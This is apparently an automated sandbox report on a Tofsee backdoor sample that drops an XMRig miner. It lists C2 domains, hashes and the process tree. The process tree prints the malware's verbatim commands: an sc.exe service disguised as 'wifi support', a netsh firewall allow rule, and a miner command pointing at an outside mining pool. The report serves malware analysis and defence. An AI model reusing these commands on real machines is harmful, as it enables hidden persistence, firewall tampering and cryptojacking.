Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 04:32

General

  • Target
    file.exe
  • Size 215KB
  • Sample221219-e5yzcahc3y
  • SHA256 c310d0edcdd86eb1dd50a009d6155f0ac7fa0aa2a1ea0fcc5f31cde0cd6c57c0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4848
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\exvaxssy\
      2⤵
        PID:3368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\civqjqdy.exe" C:\Windows\SysWOW64\exvaxssy\
        2⤵
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create exvaxssy binPath= "C:\Windows\SysWOW64\exvaxssy\civqjqdy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description exvaxssy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1356
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start exvaxssy
          2⤵
          • Launches sc.exe
          PID:408
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3372
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 592
          2⤵
          • Program crash
          PID:1932
      • C:\Windows\SysWOW64\exvaxssy\civqjqdy.exe
        C:\Windows\SysWOW64\exvaxssy\civqjqdy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 532
          2⤵
          • Program crash
          PID:1612
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4848 -ip 4848
        1⤵
          PID:256
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3720 -ip 3720
          1⤵
            PID:3468

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                civqjqdy.exe

                • Path C:\Users\Admin\AppData\Local\Temp\civqjqdy.exe
                • Size 14.1MB
                • SHA256 9f1b60f5b55641af336ae4a71193042bbf3de7cc9f8d86f0b8cfe92830f9d143
                • MD5 SHA1 SHA512 SSDEEP

                civqjqdy.exe

                • Path C:\Windows\SysWOW64\exvaxssy\civqjqdy.exe
                • Size 14.1MB
                • SHA256 9f1b60f5b55641af336ae4a71193042bbf3de7cc9f8d86f0b8cfe92830f9d143
                • MD5 SHA1 SHA512 SSDEEP

                memory/3720-150-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/3720-149-0x00000000005F3000-0x0000000000603000-memory.dmp

                memory/4080-146-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4080-162-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/4080-168-0x0000000007450000-0x0000000007457000-memory.dmp

                memory/4080-165-0x0000000006F00000-0x000000000730B000-memory.dmp

                memory/4080-159-0x0000000002220000-0x0000000002230000-memory.dmp

                memory/4080-156-0x0000000002210000-0x0000000002216000-memory.dmp

                memory/4080-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/4080-151-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4080-152-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4748-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/4748-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/4848-133-0x00000000005A0000-0x00000000005B3000-memory.dmp

                memory/4848-134-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/4848-132-0x00000000007D9000-0x00000000007EA000-memory.dmp

                memory/4848-144-0x0000000000400000-0x000000000045D000-memory.dmp

                memory/4848-143-0x00000000007D9000-0x00000000007EA000-memory.dmp